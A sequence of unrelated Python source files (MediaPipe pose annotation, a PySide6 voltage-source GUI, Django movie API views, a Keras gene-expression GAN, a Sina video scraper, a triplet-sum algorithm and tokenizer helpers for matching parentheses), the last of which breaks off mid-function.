import mediapipe as mp
import numpy as np

mp_drawing = mp.solutions.drawing_utils
mp_drawing_styles = mp.solutions.drawing_styles
mp_hands = mp.solutions.hands
mp_pose = mp.solutions.pose

def annotate_hands(cam_feed: np.ndarray):
    with mp_hands.Hands(
        static_image_mode=True,
        max_num_hands=2,
        min_detection_confidence=0.5,
        # min_tracking_confidence=0.5,
    ) as hands:
        cam_feed.flags.writeable = True
        results = hands.process(cam_feed)

        if results.multi_hand_landmarks:
            print("found landmarks")
            for hand_landmarks in results.multi_hand_landmarks:
                mp_drawing.draw_landmarks(
                    cam_feed,
                    hand_landmarks,
                    mp_hands.HAND_CONNECTIONS,
                    mp_drawing_styles.get_default_hand_landmarks_style(),
                    mp_drawing_styles.get_default_hand_connections_style(),
                )

def annotate_body(cam_feed: np.ndarray):
    with mp_pose.Pose(
        static_image_mode=True,
        model_complexity=2,
        enable_segmentation=True,
        min_detection_confidence=0.5,
        min_tracking_confidence=0.5,
    ) as pose:
        cam_feed.flags.writeable = True
        results = pose.process(cam_feed)
        if results.pose_landmarks:
            mp_drawing.draw_landmarks(
                cam_feed,
                results.pose_landmarks,
                landmark_drawing_spec=mp_drawing_styles.get_default_pose_landmarks_style(),
            )


import sys

from serial_connection import serial_ports, ReadVoltageResponse, ReadCurrentResponse, SetVoltageRequest, \
    ReadVoltageRequest, ReadCurrentRequest, SerialConnection
from ui_portselector import Ui_PortSelector
from ui_standardmode import Ui_StandardMode

from PySide6.QtCore import Qt, QTimer
from PySide6.QtWidgets import QApplication, QWidget, \
    QGridLayout, QComboBox, \
    QVBoxLayout, QLCDNumber, QMessageBox

from datetime import datetime

def timestamp(i):
    print(str(i), " ", datetime.now().time())

def serial_ports_fast_dummy():
    return ['a', 'b', 'c']

class PortSelector(QWidget):
    __disconnect_pending = False

    def __init__(self, serial_connection: SerialConnection):
        super(PortSelector, self).__init__()
        # uic.loadUi("port_selector.ui", self)
        self.ui = Ui_PortSelector()
        self.ui.setupUi(self)
        self.ui.refreshButton.clicked.connect(self.refresh_button_clicked)
        self.ui.connectButton.clicked.connect(self.connect_button_clicked)
        self.ui.connectButton.setDisabled(True)
        self.ui.portSelectorComboBox.currentTextChanged.connect(self.port_selected)
        self.refresh_button_clicked()
        self.serial_connection = serial_connection

        self.serial_connection.connection_status_change_signal.connect(self.connection_status_changed_handler)

    def refresh_button_clicked(self):
        ports = serial_ports()
        self.ui.portSelectorComboBox.clear()
        for p in ports:
            self.ui.portSelectorComboBox.addItem(p)

    def port_selected(self):
        self.ui.connectButton.setEnabled(True)

    def __display_connection_status(self, status: str):
        text = None
        if status == 'not connected':
            text = 'Nicht verbunden'
        elif status == 'connecting':
            text = 'Verbindung wird aufgestellt...'
        elif status == 'connected':
            text = 'Verbunden'
        if text is not None:
            self.ui.connectedLabel.setText(text)

    def __display_connection_error(self):
        mb = QMessageBox()
        mb.setIcon(QMessageBox.Critical)
        mb.setText("Fehler bei der Kommunikation mit dem Gerät")
        mb.setWindowTitle("Fehler")
        mb.setStandardButtons(QMessageBox.Ok)
        mb.exec()

    def connection_status_changed_handler(self, status: bool):
        if status is True:
            self.update_ui_connected()
        else:
            self.update_ui_disconnected()
            if self.__disconnect_pending:
                self.__disconnect_pending = False
            else:  # unexpected disconnect
                self.__display_connection_error()

    def update_ui_disconnected(self):
        self.__display_connection_status('not connected')
        self.ui.connectButton.setEnabled(True)
        self.ui.connectButton.setText('Verbinden')

    def update_ui_connected(self):
        self.__display_connection_status('connected')
        self.ui.connectButton.setEnabled(True)
        self.ui.connectButton.setText('Trennen')

    def update_ui_connecting(self):
        self.__display_connection_status('connecting')
        self.ui.connectButton.setDisabled(True)

    def connect_button_clicked(self):
        if self.serial_connection.is_connected():
            self.__disconnect_pending = True
            self.serial_connection.disconnect_serial()
        else:
            self.update_ui_connecting()
            self.serial_connection.connect_serial(self.ui.portSelectorComboBox.currentText())

def lcd_display(lcd: QLCDNumber, value: float):
    lcd.display('{:5.3f}'.format(value))

class StandardMode(QWidget):
    __set_voltage_req_in_queue: SetVoltageRequest = None
    __read_voltage_req_in_queue: ReadVoltageRequest = None
    __read_current_req_in_queue: ReadCurrentRequest = None

    __active = True  # indicates whether the interface is currently selected

    def __init__(self, channel_number, serial_connection: SerialConnection):
        super(StandardMode, self).__init__()
        # uic.loadUi('standard_mode.ui', self)
        self.ui = Ui_StandardMode()
        self.ui.setupUi(self)
        self.ui.dial.valueChanged.connect(self.dial_value_changed)
        self.previous_dial_value = 0
        self.target_voltage = 0
        self.coarse_increment = 100
        self.fine_increment = 1
        self.min_voltage = 0
        self.max_voltage = 12000

        self.channel_number = channel_number

        self.serial_connection = serial_connection

        if channel_number == 1:
            sv = self.serial_connection.read_voltage_signal_1
            sc = self.serial_connection.read_current_signal_1
        else:
            sv = self.serial_connection.read_voltage_signal_2
            sc = self.serial_connection.read_current_signal_2

        sv.connect(self.read_voltage_response_handler)
        sc.connect(self.read_current_response_handler)
        self.serial_connection.connection_status_change_signal.connect(self.connections_status_changed_handler)

        self.__zero_lcds()

        self.__read_values_timer = QTimer(self)
        self.__read_values_timer.timeout.connect(self.read_values)
        self.__read_values_timer.start(125)

    def dial_value_changed(self):
        val = self.ui.dial.value()
        increase = True
        if self.previous_dial_value >= 9 and val <= 1:
            increase = True
        elif self.previous_dial_value <= 1 and val >= 9:
            increase = False
        else:
            increase = val > self.previous_dial_value

        self.previous_dial_value = self.ui.dial.value()

        if increase:
            if self.ui.coarse_radio_button.isChecked():
                self.target_voltage -= self.target_voltage % self.coarse_increment
                self.target_voltage += self.coarse_increment
            else:
                self.target_voltage += self.fine_increment
            if self.target_voltage > self.max_voltage:
                self.target_voltage = self.max_voltage
        else:
            if self.ui.coarse_radio_button.isChecked():
                self.target_voltage += self.target_voltage % self.coarse_increment
                self.target_voltage -= self.coarse_increment
            else:
                self.target_voltage -= self.fine_increment
            if self.target_voltage < self.min_voltage:
                self.target_voltage = self.min_voltage

        self.set_voltage()

    def set_voltage(self):
        lcd_display(self.ui.set_voltage_lcd, self.target_voltage / 1000.0)
        if self.serial_connection.is_connected():  # self.ui.change_voltage_check_box.isChecked() and
            if self.__set_voltage_req_in_queue is not None and not self.__set_voltage_req_in_queue.sent:
                self.__set_voltage_req_in_queue.update_value(self.target_voltage)
            else:
                self.__set_voltage_req_in_queue = SetVoltageRequest(self.target_voltage, self.channel_number - 1)
                self.serial_connection.send_request(self.__set_voltage_req_in_queue)

    def read_values(self):
        if not self.serial_connection.is_connected():
            return
        if self.channel_number == 1:
            sv = self.serial_connection.read_voltage_signal_1
            sc = self.serial_connection.read_current_signal_1
        else:
            sv = self.serial_connection.read_voltage_signal_2
            sc = self.serial_connection.read_current_signal_2
        if self.__read_voltage_req_in_queue is None or self.__read_voltage_req_in_queue.sent:
            self.__read_voltage_req_in_queue = ReadVoltageRequest(self.channel_number - 1)
            self.serial_connection.send_request(self.__read_voltage_req_in_queue, sv)
        if self.__read_current_req_in_queue is None or self.__read_current_req_in_queue.sent:
            self.__read_current_req_in_queue = ReadCurrentRequest(self.channel_number - 1)
            self.serial_connection.send_request(self.__read_current_req_in_queue, sc)

    def __zero_lcds(self):
        lcd_display(self.ui.set_voltage_lcd, 0.0)
        lcd_display(self.ui.real_voltage_lcd, 0.0)
        lcd_display(self.ui.current_lcd, 0.0)

    def read_voltage_response_handler(self, r: ReadVoltageResponse):
        if not self.__active or not self.serial_connection.is_connected():
            return
        lcd_display(self.ui.real_voltage_lcd, r.voltage / 1000.0)

    def read_current_response_handler(self, r: ReadCurrentResponse):
        if not self.__active or not self.serial_connection.is_connected():
            return
        lcd_display(self.ui.current_lcd, r.current / 1000.0)

    def connections_status_changed_handler(self, status: bool):
        if status is False:
            self.__zero_lcds()

class Channel(QWidget):
    def __init__(self, channel_number: int, serial_connection: SerialConnection, *args, **kwargs):
        super(Channel, self).__init__(*args, **kwargs)
        self.vbox_layout = QVBoxLayout()
        self.setLayout(self.vbox_layout)
        self.mode_combo_box = QComboBox(self)
        self.vbox_layout.addWidget(self.mode_combo_box)

        self.channel_number = channel_number

        self.serial_connection = serial_connection

        self.standard_mode = StandardMode(channel_number, serial_connection)

        self.modes = {
            'Standard': self.load_standard_mode,
            'PWM': self.load_pwm_mode
        }

        for m in self.modes:
            self.mode_combo_box.addItem(m)

        self.load_standard_mode()

    def load_standard_mode(self):
        # self.standard_mode.__init__(self.channel_number)
        self.vbox_layout.insertWidget(1, self.standard_mode)

    def load_pwm_mode(self):
        pass

class MainWindow(QWidget):
    serial_connection = SerialConnection(2)

    def __init__(self, n_channels, *args, **kwargs):
        super(MainWindow, self).__init__(*args, **kwargs)
        self.n_channels = n_channels
        self.setWindowTitle("Spannungsquelle")
        self.grid = QGridLayout()
        self.setLayout(self.grid)
        self.port_selector = PortSelector(self.serial_connection)
        self.grid.addWidget(self.port_selector, 0, 0, 1, n_channels, Qt.AlignTop)
        self.channels = []
        for ch in range(1, n_channels + 1):
            self.channels.append(Channel(ch, self.serial_connection))
            self.grid.addWidget(self.channels[ch - 1], 1, ch - 1)

        self.setFixedSize(self.grid.sizeHint())
        self.serial_connection.start()

app = QApplication(sys.argv)

main_window = MainWindow(n_channels=2)
main_window.show()

app.exec()


from django.shortcuts import render
from django.http import HttpResponse
from django.db.models import Count
from rest_framework import viewsets, status
from rest_framework.response import Response
from .models import *
from .serializers import *
from .utils import *
from .filters import *
from rest_framework import filters

class RatingViewSet(viewsets.ModelViewSet):
    queryset = Rating.objects.all()
    serializer_class = RatingSerializer

class CommentViewSet(viewsets.ModelViewSet):

    '''
    List all comments or comments by movie_id
    parameters:
    movie - the movie id
    '''

    queryset = Comment.objects.all()
    serializer_class = CommentSerializer

    def get_queryset(self):
        queryset = Comment.objects.all()
        movie_id = self.request.query_params.get('movie', None)
        if movie_id is not None:
            queryset = queryset.filter(movie__id=movie_id)
        return queryset

class MovieViewSet(viewsets.ModelViewSet):
    '''
    List all movies
    '''
    queryset = Movie.objects.all()
    serializer_class = MovieSerializer
    filter_backends = [YearRangeFilterBackend, MovieFieldFilterBackend, filters.OrderingFilter]

    def create(self, request):
        movie_serializer = MovieSerializer(data=request.data)
        movie_serializer.is_valid(raise_exception=True)
        movie_obj = movie_serializer.save()
        return Response(movie_serializer.data, status=status.HTTP_201_CREATED)

class TopViewSet(viewsets.ReadOnlyModelViewSet):
    '''
    List movies in order by number of comments
    parameters:
    start - the beginning year in the range of movies to list
    end - the end year in the range of movies to list
    '''
    queryset = Movie.objects.annotate(total_comments=Count('comments__id')).order_by('total_comments').reverse()
    serializer_class = TopSerializer
    filter_backends = [YearRangeFilterBackend]


import keras
import keras.layers as layers
import tensorflow as tf
from keras.models import Model
import numpy as np
import pandas as pd
import time
import argparse

from keras.layers import Input, Dense, Reshape, Flatten, Dropout, Add
from keras.layers import BatchNormalization
from keras.layers.advanced_activations import LeakyReLU
from keras.models import Sequential, Model
from keras.optimizers import Adam, Adadelta
from keras.callbacks import CSVLogger, ModelCheckpoint
from weightnorm import AdamWithWeightnorm
from sklearn.preprocessing import StandardScaler
from keras.optimizers import Adam
from sklearn.metrics import mean_absolute_error as mae # tested with verison 0.20.3
from sklearn.metrics import mean_squared_error as mse # tested with verison 0.20.3

class GAN():
    def __init__(self,NumXgenes,NumYgenes):

        optimizer = AdamWithWeightnorm(lr=1e-3, beta_1=0.9,
                    beta_2=0.999,epsilon=1e-8)

        self.ld_genes_shape = NumXgenes
        self.target_genes_shape = NumYgenes
        ###############################################
        # hard coded hyperparameters below
        self.gen_hidden_units = 9000
        self.disc_hidden_units = 3000

        self.leak_value = 0.2
        ## lower bernoulli p means higher number of zeros
        self.init_bernoulli_p = 0.1
        self.final_bernoulli_p = 0.99
        self.u1 = 0.1
        self.u2 = 0.15

        ## lambdas
        self.lbda_adv = 0.1
        self.lbda_cons = 1
        self.discriminator = self.build_discriminator()
        self.discriminator.compile(loss=self.custom_discriminator_loss(),
                                   optimizer=optimizer,
                                   metrics=['mae'])

        self.generator = self.build_generator(drop_frac = 0)
        self.generator_u1 = self.build_generator(drop_frac = self.u1)
        self.generator_u2 = self.build_generator(drop_frac = self.u2)
        self.generator_u1.trainable = False
        self.generator_u2.trainable = False

        z = Input(shape=(self.ld_genes_shape,))
        distrib = Input(shape=(self.target_genes_shape,))
        target_predicted_u1 = Input(shape=(1,))

        target_predicted = self.generator(z)

        self.discriminator.trainable = False
        lambda_mult = layers.Lambda(lambda x: tf.multiply(x[0],x[1]))
        target_predicted_masked = lambda_mult([distrib,target_predicted])

        validity_predicted = self.discriminator([z,target_predicted_masked])
        concat_out = layers.concatenate([target_predicted,validity_predicted],axis =1)

        self.combined = Model(inputs=[z,distrib,target_predicted_u1],
                        outputs=concat_out)
        self.combined.compile(loss=self.custom_generator_loss(),
              optimizer=optimizer)

    def custom_discriminator_loss(self):
        def total_loss(y_true,y_pred):
            validity_actual = y_true
            validity_predicted = y_pred
            ones_tensor = tf.ones(tf.shape(validity_actual))
            temp_tensor_ladv = tf.math.add(tf.math.square(tf.subtract(validity_actual,ones_tensor)),
                                tf.math.square(validity_predicted))
            L_adv = tf.reduce_sum(temp_tensor_ladv,0)/2
            return L_adv
        return total_loss

    def custom_generator_loss(self):
        def total_loss(y_true,y_pred):
            validity_actual = y_true[:,self.target_genes_shape:]
            validity_predicted = y_pred[:,self.target_genes_shape:]
            ones_tensor = tf.ones(tf.shape(validity_actual))
            L_adv = tf.math.square(tf.subtract(validity_predicted,ones_tensor))

            target_actual = y_true[:,:self.target_genes_shape]
            target_predicted = y_pred[:,:self.target_genes_shape]
            L_1 = tf.norm(target_actual-target_predicted,
                ord=1,axis = 1)

            return tf.reduce_sum(L_1) + tf.math.reduce_mean(self.lbda_adv*L_adv) \
                 + self.lbda_cons*tf.math.reduce_mean(self.combined.input[2])

        return total_loss

    def simple_model(self):
        units = [200,200,200]
        drps = [0.1,0.1,0.1]

        model = Sequential()
        for idx in range(len(units)):
            if idx == 0:
                model.add(Dense(units=units[idx],
                    input_dim=self.ld_genes_shape, activation='tanh',kernel_initializer='glorot_uniform'))
                model.add(Dropout(drps[idx]))
            else:
                model.add(Dense(units=units[idx], activation='tanh',kernel_initializer='glorot_uniform'))
                model.add(Dropout(drps[idx]))
        model.add(Dense(units=self.target_genes_shape,
                    activation='linear',kernel_initializer=keras.initializers.RandomUniform(-1e-4,1e-4)))
        return model

    def build_generator(self, drop_frac= 0):

        inp1 = Input(shape=(self.ld_genes_shape,))

        inp1_dp = Dropout(drop_frac)(inp1, training = True)

        h1 = Dense(self.gen_hidden_units)(inp1_dp)
        h1_dp = Dropout(drop_frac)(h1, training = True)
        h1_activated = LeakyReLU(alpha=self.leak_value)(h1_dp)

        h2 = Dense(self.gen_hidden_units)(h1_activated)
        h2_add = Add()([h2,h1_activated])
        h2_add_dp = Dropout(drop_frac)(h2_add, training = True)
        h2_activated = LeakyReLU(alpha=self.leak_value)(h2_add_dp)
        out = Dense(self.target_genes_shape)(h2_activated)

        return Model(inp1, out)

    def build_discriminator(self):

        model = Sequential()

        model.add(Dense(units=self.disc_hidden_units,
     		input_dim=self.ld_genes_shape+self.target_genes_shape,
     		kernel_initializer='glorot_uniform'))
        model.add(LeakyReLU(alpha=self.leak_value))

        model.add(Dense(units=1,
     			kernel_initializer='glorot_uniform'))
        model.add(LeakyReLU(alpha=self.leak_value))
        model.summary()
        ld_input = Input(shape=(self.ld_genes_shape,))
        target_input = Input(shape=(self.target_genes_shape,))
        inp_disc =layers.concatenate([ld_input,target_input],axis=-1)
        validity = model(inp_disc)
        return Model([ld_input,target_input], validity)

    def add_eval_to_df(self, df_eval,metric_values,metric_name,model_name,col_names,GPLID):
        num_genes = len(metric_values)
        gene_inds = list(np.arange(num_genes))
        fill_data = []
        fill_data.append([GPLID] * num_genes)
        fill_data.append([model_name] * num_genes)
        fill_data.append([metric_name] * num_genes)
        metric_values = list(metric_values)
        fill_data.append(metric_values)
        fill_data.append(gene_inds)
        fill_zip = list(zip(*fill_data))
        df_tmp = pd.DataFrame(fill_zip,columns=col_names)
        df_eval = pd.concat([df_eval,df_tmp])
        return df_eval

    def add_metric_values(self, preds):
        # make the coloumn names and initial df
        col_names = ['GPL','Model','Metric','Value','GeneIdx']
        df_eval = pd.DataFrame(columns=col_names)

        mae_values    = mae(ydata_aGPL,preds,multioutput='raw_values')
        df_eval = self.add_eval_to_df(df_eval, mae_values,'mae','GGAN',col_names,aGPL)
        rmse_values   = np.sqrt(mse(ydata_aGPL,preds,multioutput='raw_values')) # correct to have ytst_GL
        cvrmse_values = rmse_values/np.mean(ydata_aGPL,axis=0) # correct to have ytst_GL
        df_eval = self.add_eval_to_df(df_eval, cvrmse_values,'cvrmse','GGAN',col_names,aGPL)

        return df_eval

    def train(self, epochs, batch_size,
                X_train,Y_train,
                X_test,Y_test):
        np.random.seed(seed=0)
        total_gps = X_train.shape[0]

        best_model = ['',''] # this first is for the best epoch and the second ins the results df
        best_mae = 100000
        train_loss = []
        for epoch in range(epochs):
            ## set before each epoch
            self.generator_u1.set_weights(self.generator.get_weights())
            self.generator_u2.set_weights(self.generator.get_weights())
            all_IDs = np.arange(0,total_gps)

            np.random.shuffle(all_IDs)
            random_ids_to_put = total_gps%batch_size
            total_batches = total_gps//batch_size
            if random_ids_to_put>0:
                idx = np.random.randint(0, total_gps, random_ids_to_put)
                all_IDs = np.concatenate((all_IDs,idx))
                total_batches = total_gps//batch_size + 1
            ## would be a 1-D vector, need to be multiplied, adversial loss
            ## bernoulli_p need to change with each iteration or epoch
            self.bernoulli_p = self.init_bernoulli_p + \
                              (self.final_bernoulli_p-self.init_bernoulli_p)*(epoch/(epochs-1))
            complete_distrib = np.random.binomial(n=1, p=self.bernoulli_p,
                                        size=(total_gps,self.target_genes_shape))
            for batchNo in range(total_batches):

                ## gene profiles
                idx = all_IDs[batchNo*batch_size:(batchNo+1)*batch_size]
                z = X_train[idx]
                target_actual = Y_train[idx]
                distrib = complete_distrib[idx]

                target_actual_masked = np.multiply(distrib,target_actual)/self.bernoulli_p
                validity_actual = self.discriminator.predict([z,target_actual_masked]) ## not sure about this, confused

                target_predicted = self.generator.predict(z)
                target_predicted_masked = np.multiply(distrib,target_predicted)/self.bernoulli_p
                disc_loss= self.discriminator.train_on_batch([z,target_predicted_masked],validity_actual)

                ## for L_cons
                target_predicted_u1 = self.generator_u1.predict(z)
                target_predicted_u2 = self.generator_u2.predict(z)
                subtracted_noise = np.linalg.norm(target_predicted_u1-target_predicted_u2,
                                     axis = 1)**2
                concatenated_actual = np.concatenate((target_actual,validity_actual),axis = 1)
                ## for generator loss
                generator_loss = self.combined.train_on_batch([z,distrib,subtracted_noise],
                                  concatenated_actual)

            print("{} [D loss: {}] [G loss: {}]" .format(epoch, disc_loss, generator_loss))
            train_predicted = self.generator.predict(X_train)
            test_predicted = self.generator.predict(X_test)
            mae_train_loss = mae(Y_train,train_predicted)
            mae_test_loss = mae(Y_test,test_predicted)
            train_loss.append([epoch,mae_train_loss,mae_test_loss])
            df_train_loss = pd.DataFrame(train_loss,columns=['epoch','train_mae','test_mae'])
            df_train_loss.to_csv(CSVlogger_filename,header=True,index=False)
            print("at {}, MAE loss: {}" .format(epoch, mae_test_loss))
            if mae_test_loss < best_mae:
                df_eval = self.add_metric_values(test_predicted)
                best_model = [epoch,df_eval]
                best_model[1].to_csv(Evaluations_filename,sep='\t',header=True,index=False)
                df_train_loss.to_csv(CSVlogger_filename,header=True,index=False)
                best_mae = mae_test_loss
        return best_model, train_loss

if __name__ == '__main__':

    ############################################################################################################
    ############################################################################################################

    tic0 = time.time()

    # get the GPL to try from command line argument
    parser = argparse.ArgumentParser()
    parser.add_argument('-g','--aGPL',
                        default = 'GPL571',
                        type = str,
                        help = 'The GPL to do')
    args = parser.parse_args()
    aGPL = args.aGPL

    # set some paths
    fp_gpl570 = '../data/'
    fp_seek =  fp_gpl570 + '/Multiple_Platforms/'
    fp_save = '../reproduce_results/SEEK-save/'

    ############################################################################################################

    print('Load and standardize the data')
    # load the GPL data
    Xdata_aGPL = np.load(fp_seek + '%s_Xdata.npy'%aGPL)
    ydata_aGPL = np.load(fp_seek + '%s_ydata.npy'%aGPL)
    # load GPL570 gene inds
    GPL570_Xgene_inds = np.loadtxt(fp_seek + 'GPL570_%s_Xgenes_inds.txt'%aGPL,dtype=int)
    GPL570_ygene_inds = np.loadtxt(fp_seek + 'GPL570_ygenes_inds.txt',dtype=int)
    # load the GPL570data
    GPL570data = np.load(fp_gpl570 + 'Microarray_Trn_Exp.npy')
    # slice the GPL570 along gene axis
    Xdata_GPL570 = GPL570data[:,GPL570_Xgene_inds]
    ydata_GPL570 = GPL570data[:,GPL570_ygene_inds]

    # subset to 90 random samples
    sample_inds = np.loadtxt(fp_seek + '%s_90_Sample_Inds.txt'%aGPL,dtype=int)
    Xdata_aGPL = Xdata_aGPL[sample_inds,:]
    ydata_aGPL = ydata_aGPL[sample_inds,:]

    # standarize and format
    Xtrn = Xdata_GPL570
    ytrn = ydata_GPL570
    Xtst = Xdata_aGPL
    ytst = ydata_aGPL
    std_scale = StandardScaler().fit(Xtrn)
    Xtrn = std_scale.transform(Xtrn)
    Xtst = std_scale.transform(Xtst)

    ############################################################################################################
    print('Setting up some output file names')
    # # The directory to the file used to store the csv logger
    CSVlogger_filename   = fp_save  + '%s_GGAN_CSVlogger.csv'%aGPL
    # The directory to the file used to store the evaluations of the test set
    Evaluations_filename = fp_save + '%s_GGAN_evals.tsv'%aGPL

    ############################################################################################################
    print('Inializating GGAN')
    gan = GAN(Xtrn.shape[1], ytrn.shape[1])
    print('Starting to Train')
    best_model, train_loss = gan.train(epochs=200, batch_size=200,
              X_train=Xtrn,
              Y_train=ytrn,
              X_test = Xtst,
              Y_test = ytst)
    print('The best epoch was', best_model[0])
    print('\n\nThe script took %i minutes to run'%((time.time()-tic0)/60))


#coding: utf-8
'''
创建人：Javen
创建时间：
'''
from Models.Mapper.Sina.Base import Model_Mapper_Sina_Base
from Models.Scraper.Sina.Video import Model_Scraper_Sina_Video
from Service.Abstract import Service_Abstract

class Service_Sina_Video(Service_Abstract):

    def __init__(self):
        super(Service_Sina_Video, self).__init__()
        self.sinaBaseMapper = Model_Mapper_Sina_Base()

    def getSinaBaseMapper(self):
        return self.sinaBaseMapper

    def scrape(self, url):
        self.scraper = Model_Scraper_Sina_Video()
        try:
            data = self.scraper.scrape(url)
            if (data):
                # 此处应该进行数据插入
                # print (data)
                for item in data:
                    self.getSinaBaseMapper().save(item)
                if (len(data)>0):
                    return True
            else:
                return False
        except Exception as err:
            print (err)
            return False


"""
X + Y + Z < target_sum
Y + Z < target_sum - X
"""

# time O(nlogn + n2) ~ O(n2)
# space O(n)

def tripletsWithSmallerSum(arr, target_sum):
    arr.sort()
    count = 0

    for i in range(len(arr) - 2):
        count += search(arr, target_sum - arr[i], i)

    return count

def search(arr, target_sum, first):
    count = 0
    left, right = first + 1, len(arr) - 1

    while left < right:
        if arr[left] + arr[right] < target_sum:
            count += right - left
            left += 1

        else:
            right -= 1
    return count

print(tripletsWithSmallerSum([-1, 0, 2, 3], 3))

# ------------------------------------------------ #
# return triplets

# time O(n3)
# space O(n)

def tripletsWithSmallerSum2(arr, target_sum):
    arr.sort()
    triplets = []
    for i in range(len(arr) - 2):
        search2(arr, target_sum - arr[i], i, triplets)

    return triplets

def search2(arr, target_sum, first, triplets):
    left, right = first + 1, len(arr) - 1

    while left < right:
        if arr[left] + arr[right] < target_sum:

            for i in range(right, left, -1):
                triplets.append([arr[first], arr[left], arr[i]])
            left += 1

        else:
            right -= 1

print(tripletsWithSmallerSum2([-1, 0, 2, 3], 3))


"""
Various helpers that are based on Python tokenization

Note that the tokenize module starts the rows at 1 and prompt_toolkit starts
them at 0.
"""

import io
from itertools import tee, chain
from tokenize import tokenize, TokenError
from tokenize import (STRING, COLON, AT, ENDMARKER, DEDENT, NAME, NEWLINE,
                      ENCODING)
import ast
import re
import warnings

braces = {
    '(': ')',
    '[': ']',
    '{': '}',
    }

def tokenize_string(s, tokenizer=None):
    """
    Generator of tokens from the string s

    tokenizer should be 'tokenize', 'parso', or None (the default, which is
    the same as 'tokenize').
    """
    if tokenizer is None:
        tokenizer = 'tokenize'
    if tokenizer == 'tokenize':
        yield from tokenize(io.BytesIO(s.encode('utf-8')).readline)
    elif tokenizer == 'parso':
        from parso.utils import parse_version_string
        from parso.python.tokenize import tokenize as parso_tokenize

        for tok in parso_tokenize(s, version_info=parse_version_string()):
            # Make the parso tokens compatible with tokenize
            tok.start = tok.start_pos
            tok.end = tok.end_pos

            yield tok
    else:
        raise ValueError("The tokenizer keyword argument should be 'tokenize' or 'parso'")

def matching_parens(s, allow_intermediary_mismatches=True, tokenizer=None):
    """
    Find matching and mismatching parentheses and braces

    s should be a string of (partial) Python code.

    Returns a tuple (matching, mismatching).

    matching is a list of tuples of matching TokenInfo objects for matching
    parentheses/braces.

    mismatching is a list of TokenInfo objects for mismatching
    parentheses/braces.

    allow_intermediary_mismatches can be True (the default), or False. If it
    is True, an opening brace can still be considered matching if it is closed
    with the wrong brace but later closed with the correct brace. If it is
    False, once an opening brace is closed with the wrong brace it---and any
    unclosed braces before it---cannot be matched.

    For example, consider '[ { ] }'. If allow_intermediary_mismatches is
    False, all the braces are considered mismatched.

        >>> matching, mismatching = matching_parens('[ { ] }',
        ...     allow_intermediary_mismatches=False)
        >>> matching
        []
        >>> mismatching
        [TokenInfo(..., string='[', ...),
         TokenInfo(..., string='{', ...),
         TokenInfo(..., string=']', ...),
         TokenInfo(..., string='}', ...)]

    However, if it is True, the { and } are considered matching.

        >>> matching, mismatching = matching_parens('[ { ] }',
        ...     allow_intermediary_mismatches=True)
        >>> matching
        [(TokenInfo(..., string='{', ...), TokenInfo(..., string='}', ...))]
        >>> mismatching
        [TokenInfo(..., string='[', ...),
         TokenInfo(..., string=']', ...)]

    Furthermore, with '[ { ] } ]' only the middle ] will be considered
    mismatched (with False, all would be mismatched).

        >>> matching, mismatching = matching_parens('[ { ] } ]',
        ...     allow_intermediary_mismatches=True)
        >>> matching
        [(TokenInfo(..., string='[', ...), TokenInfo(..., string=']', start_pos=(1, 8), ...)),
         (TokenInfo(..., string='{', ...), TokenInfo(..., string='}', ...))]
        >>> mismatching
        [TokenInfo(..., string=']', start_pos=(1, 4), ...)]

        >>> matching, mismatching = matching_parens('[ { ] } ]',
        ...     allow_intermediary_mismatches=False)
        >>> matching
        []
        >>> mismatching
        [TokenInfo(..., string='[', ...),
         TokenInfo(..., string='{', ...),
         TokenInfo(..., string=']', ...),
         TokenInfo(..., string='}', ...),
         TokenInfo(..., string=']', ...)]

    allow_intermediary_mismatches=False is a more technically correct version,
    but allow_intermediary_mismatches=True may provide more useful feedback if
    mismatching braces are highlighted, as it is more likely to only highlight
    the "mistake" braces.

    tokenizer should be 'tokenize' or 'parso'. By default it is 'parso'. The
    parso tokenizer is able to handle braces inside of f-string expressions,
    whereas the 'tokenize' tokenizer is not.

        >>> matching_parens('f"{()}"', tokenizer='parso')
        ([(TokenInfo(type=OP, string='{', start_pos=(1, 2), prefix=''),
           TokenInfo(type=OP, string='}', start_pos=(1, 5), prefix='')),
          (TokenInfo(type=OP, string='(', start_pos=(1, 3), prefix=''),
           TokenInfo(type=OP, string=')', start_pos=(1, 4), prefix=''))],
        [])
        >>> matching_parens('f"{()}"', tokenizer='tokenize')
        ([], [])

    Example:

        >>> matching, mismatching = matching_parens("('a', {(1, 2)}, ]")
        >>> matching
        [(TokenInfo(..., string='{', ...), TokenInfo(..., string='}', ...)),
         (TokenInfo(..., string='(', ...), TokenInfo(..., string=')', ...))]
        >>> mismatching
        [TokenInfo(..., string='(', ...), TokenInfo(..., string=']', ...)]

    """
    if tokenizer is None:
        try:
            import parso;parso
            tokenizer = 'parso'
        except ImportError:
            warnings.warn("Could not import parso. Using tokenize for parens highlighting")
            tokenizer = 'tokenize'
    if tokenizer == 'parso':
        from parso.python.tokenize import ERRORTOKEN, OP
    else:
        from tokenize import ERRORTOKEN, OP
    stack = []
    matching = []
    mismatching = []
    try:
        for tok in tokenize_string(s, tokenizer=tokenizer):
            typ = tok.type
            string = tok.string
            if typ == ERRORTOKEN:
                # There is an unclosed string. If we do not break here,
                # tokenize will tokenize the stuff after the string delimiter.
                break
            elif typ == OP and string in braces:
                stack.append(tok)
            elif typ == OP and string in braces.values():
                if not stack:
                    mismatching.append(tok)
                    continue
                prevtok = stack.pop()
                if braces[prevtok.string] == string:
                    matching.append((prevtok, tok))
                else:
                    if allow_intermediary_mismatches:
                        stack.append(prevtok)
                    else:
                        mismatching.insert(0, prevtok)
                    mismatching.append(tok)
            else:
                continue
    except TokenError:
        pass
    except IndentationError:
        pass

    matching.reverse()

    # Anything remaining on the stack is mismatching. Keep the mismatching
    # list in order.
    stack.reverse()
    mismatching = stack + mismatching
    return matching, mismatching

def inside_string(s, row, col, include_quotes=False):
    """
    Returns True if row, col is inside a string in s, False otherwise.

    row starts at 1 and col starts at 0.

    If include_quotes=True, the quote characters and any prefix characters
    (like r, b, f, or u) are counted as part of the string. The default is
    False.

    """
    from tokenize import ERRORTOKEN
    def _offsets(string):
        # The offsets for the quote characters. The inside part of the
        # string will be tokval[start_margin: -end_margin]
        start_offset = end_offset = 0
        if not include_quotes:
            # Handle things like r'...' and rb'...'. There can be at most
            # two prefix characters. Since we are "deleting" characters,
            # shift the column that we check to the left. A negative
            # column would mean we are on a line below the opening of the
            # string, in which case start[0] will be less than row anyway.
            if string[:2].isalpha():
                start_offset += 2
            elif string[:1].isalpha():
                start_offset += 1

            # Figure out if the string is single- or triple-quoted.
            # Since tokenize only tokenizes complete valid string literals
            # as STRING, ""... must be a triple quoted string, unless it
            # is the empty string
